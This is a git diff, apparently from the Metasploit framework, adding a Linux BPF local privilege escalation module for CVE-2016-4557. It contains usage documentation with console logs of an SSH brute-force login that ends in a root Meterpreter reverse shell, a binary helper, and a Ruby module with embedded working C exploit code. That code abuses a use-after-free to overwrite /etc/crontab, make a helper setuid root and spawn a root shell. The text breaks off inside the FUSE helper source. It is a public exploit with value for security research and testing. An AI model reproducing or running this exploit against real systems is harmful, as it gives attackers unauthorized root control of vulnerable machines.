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 DV;Mk- literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2016-4557/suidhelper b/data/exploits/CVE-2016-4557/suidhelper new file mode 100644 index 0000000000000000000000000000000000000000..f629640c9127920c164304fde8131c8cf4d6eb26 GIT binary patch literal 8840 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 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md new file mode 100644 index 0000000000..d32de111be --- /dev/null +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -0,0 +1,161 @@ +## Notes + +This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. + +## Creating A Testing Environment + +There are a few requirements for this module to work: + + 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + + Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! + +This module has been tested against: + + 1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile) + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile) + +This module was not tested against, but may work against: + + 1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603) + 5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/bpf_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **MAXWAIT** + + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto + +## Scenarios + +### Ubuntu 16.04 (with Linux 4.4.0-38-generic) + +#### Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.130 + rhosts => 192.168.199.130 + msf auxiliary(ssh_login) > set username ubuntu + username => ubuntu + msf auxiliary(ssh_login) > set password ubuntu + password => ubuntu + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + +In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system. + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [+] libfuse-dev is installed + [+] gcc is installed + [*] Live compiling exploit on system + [*] Writing files to target + [*] Writing hello to /tmp/hello.c + [*] Max line length is 65537 + [*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf + [*] Writing doubleput to /tmp/doubleput.c + [*] Max line length is 65537 + [*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf + [*] Writing suidhelper to /tmp/suidhelper.c + [*] Max line length is 65537 + [*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf + [*] Compiling all modules on target + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400 + [*] Cleaning up... + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 192.168.199.130 + OS : Ubuntu 16.04 (Linux 4.4.0-38-generic) + Architecture : x86_64 + Meterpreter : x64/linux + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [-] libfuse-dev is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Writing pre-compiled binarys to target + [*] Max line length is 65537 + [*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [-] This exploit may require process killing of 'hello', and 'doubleput' on the target + [-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target + [-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb new file mode 100644 index 0000000000..330b55a451 --- /dev/null +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -0,0 +1,488 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Linux BPF Local Privilege Escalation', + 'Description' => %q{ + Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled + sysctl is not set to 1, BPF can be abused to priv escalate. + Ubuntu 16.04 has all of these conditions met. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'jannh@google.com', # discovery + 'h00die ' # metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2016-4557' ], + [ 'EDB', '39772' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ], + [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ] + ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultOptions' => + { + 'payload' => 'linux/x64/mettle/reverse_tcp', + 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through + }, + 'DefaultTarget' => 1, + 'DisclosureDate' => 'May 04 2016', + 'Privileged' => true + } + )) + register_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) + ], self.class) + end + + def check + def check_config_bpf_syscall?() + output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') + if output == 'CONFIG_BPF_SYSCALL=y' + vprint_good('CONFIG_BPF_SYSCAL is set to yes') + return true + else + print_error('CONFIG_BPF_SYSCAL is NOT set to yes') + return false + end + end + + def check_kernel_disabled?() + output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled') + if output != 'kernel.unprivileged_bpf_disabled = 1' + vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1') + return true + else + print_error('kernel.unprivileged_bpf_disabled is set to 1') + return false + end + end + + def check_fuse?() + lib = cmd_exec('dpkg --get-selections | grep ^fuse') + if lib.include?('install') + vprint_good('fuse is installed') + return true + else + print_error('fuse is not installed. Exploitation will fail.') + return false + end + end + + def mount_point_exists?() + if directory?('/tmp/fuse_mount') + print_error('/tmp/fuse_mount should be unmounted and deleted. Exploittion will fail.') + return false + else + vprint_good('/tmp/fuse_mount doesn\'t exist') + return true + end + end + + if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?() + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + + def upload_and_compile(filename, file_path, file_contents, compile=nil) + rm_f "#{file_path}" + if not compile.nil? + rm_f "#{file_path}.c" + vprint_status("Writing #{filename} to #{file_path}.c") + write_file("#{file_path}.c", file_content) + register_file_for_cleanup("#{file_path}.c") + output = cmd_exec(compile) #"gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`") + if output != '' + print_error(output) + fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") + end + else + write_file(file_path, file_content) + end + register_file_for_cleanup(file_path) + end + + doubleput = %q{ + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #ifndef __NR_bpf + # if defined(__i386__) + # define __NR_bpf 357 + # elif defined(__x86_64__) + # define __NR_bpf 321 + # elif defined(__aarch64__) + # define __NR_bpf 280 + # else + # error + # endif + #endif + + int uaf_fd; + + int task_b(void *p) { + /* step 2: start writev with slow IOV, raising the refcount to 2 */ + char *cwd = get_current_dir_name(); + char data[2048]; + sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd); + struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; + if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) + errx(1, "system() failed"); + int fuse_fd = open("fuse_mount/hello", O_RDWR); + if (fuse_fd == -1) + err(1, "unable to open FUSE fd"); + if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) + errx(1, "unable to write to FUSE fd"); + struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); + if (iov_ == MAP_FAILED) + err(1, "unable to mmap FUSE fd"); + fputs("starting writev\n", stderr); + ssize_t writev_res = writev(uaf_fd, iov_, 1); + /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ + if (writev_res == -1) + err(1, "writev failed"); + if (writev_res != strlen(data)) + errx(1, "writev returned %d", (int)writev_res); + fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + void make_setuid(void) { + /* step 1: open writable UAF fd */ + uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); + if (uaf_fd == -1) + err(1, "unable to open UAF fd"); + /* refcount is now 1 */ + + char child_stack[20000]; + int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); + if (child == -1) + err(1, "clone"); + sleep(3); + /* refcount is now 2 */ + + /* step 2+3: use BPF to remove two references */ + for (int i=0; i<2; i++) { + struct bpf_insn insns[2] = { + { + .code = BPF_LD | BPF_IMM | BPF_DW, + .src_reg = BPF_PSEUDO_MAP_FD, + .imm = uaf_fd + }, + { + } + }; + union bpf_attr attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = 2, + .insns = (__aligned_u64) insns, + .license = (__aligned_u64)"" + }; + if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) + errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); + if (errno != EINVAL) + err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); + } + /* refcount is now 0, the file is freed soon-ish */ + + /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ + int status; + int hostnamefds[1000]; + int used_fds = 0; + bool up = true; + while (1) { + if (waitpid(child, &status, WNOHANG) == child) + errx(1, "child quit before we got a good file*"); + if (up) { + hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); + if (hostnamefds[used_fds] == -1) + err(1, "open target file"); + if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; + used_fds++; + if (used_fds == 1000) up = false; + } else { + close(hostnamefds[--used_fds]); + if (used_fds == 0) up = true; + } + } + fputs("woohoo, got pointer reuse\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + int main(void) { + pid_t child = fork(); + if (child == -1) + err(1, "fork"); + if (child == 0) + make_setuid(); + struct stat helperstat; + while (1) { + if (stat("suidhelper", &helperstat)) + err(1, "stat suidhelper"); + if (helperstat.st_mode & S_ISUID) + break; + sleep(1); + } + fputs("suid file detected, launching rootshell...\n", stderr); + execl("./suidhelper", "suidhelper", NULL); + err(1, "execl suidhelper"); + } + } + + suid_helper = %q{ + #include + #include + #include + #include + + int main(void) { + if (setuid(0) || setgid(0)) + err(1, "setuid/setgid"); + fputs("we have root privs now...\n", stderr); + execl("/bin/bash", "bash", NULL); + err(1, "execl"); + } + + } + + hello = %q{ + /* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + heavily modified by Jann Horn + + This program can be distributed under the terms of the GNU GPL. + See the file COPYING. + + gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello + */ + + #define FUSE_USE_VERSION 26 + + #include + #include 